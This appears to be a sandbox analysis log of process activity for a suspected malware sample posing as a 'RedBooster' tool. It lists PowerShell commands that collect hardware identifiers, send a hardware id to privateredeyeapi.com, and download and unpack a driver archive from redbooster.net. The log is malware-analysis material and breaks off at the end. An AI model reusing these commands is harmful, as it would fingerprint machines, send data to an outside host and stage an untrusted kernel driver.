    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2024 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:3112
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=816 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:1672
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4200 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try { $r = Invoke-RestMethod -Uri 'https://privateredeyeapi.com/?action=StatsBooster' -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; ('{0}|{1}' -f [int]$r.total, [int]$r.online) } catch { '0|0' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=NewsBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=EventBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=ForceGetBooster' try{(Invoke-WebRequest -Uri $u -TimeoutSec 8 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop' try { (Invoke-WebRequest -Uri 'https://privateredeyeapi.com/versionBooster.php' -Headers @{ 'User-Agent'='RedBooster' } -TimeoutSec 20 -UseBasicParsing).Content } catch { '' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=BanCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') $u+='&key='+[uri]::EscapeDataString('') try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=RegisterBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') $u+='&key='+[uri]::EscapeDataString('') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop';try {$tools='C:\Users\Admin\AppData\Local\RedBooster\tools';New-Item -ItemType Directory -Force -Path $tools | Out-Null;$zip=Join-Path $env:TEMP 'rb_iodriver.zip';Invoke-WebRequest -Uri 'https://redbooster.net/tools/iodriver.zip' -OutFile $zip -Headers @{'User-Agent'='RedBooster'} -TimeoutSec 60 -UseBasicParsing;Expand-Archive -Path $zip -DestinationPath $tools -Force;Remove-Item $zip -Force -ErrorAction SilentlyContinue;if(Test-Path (Join-Path $tools 'iodriver\inpoutx64.sys')){'OK'}else{'ERR'}} catch { 'ERR' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=BroadcastGetBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') try{(Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$u='https://privateredeyeapi.com/?action=TrialBooster' $u+='&hwid='+[uri]::EscapeDataString('eXvSu2SSXAJvdmQWOvBunwt4_Qawn86SUM4n8oEggZY') try{(Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}).Content}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream());$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3420
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
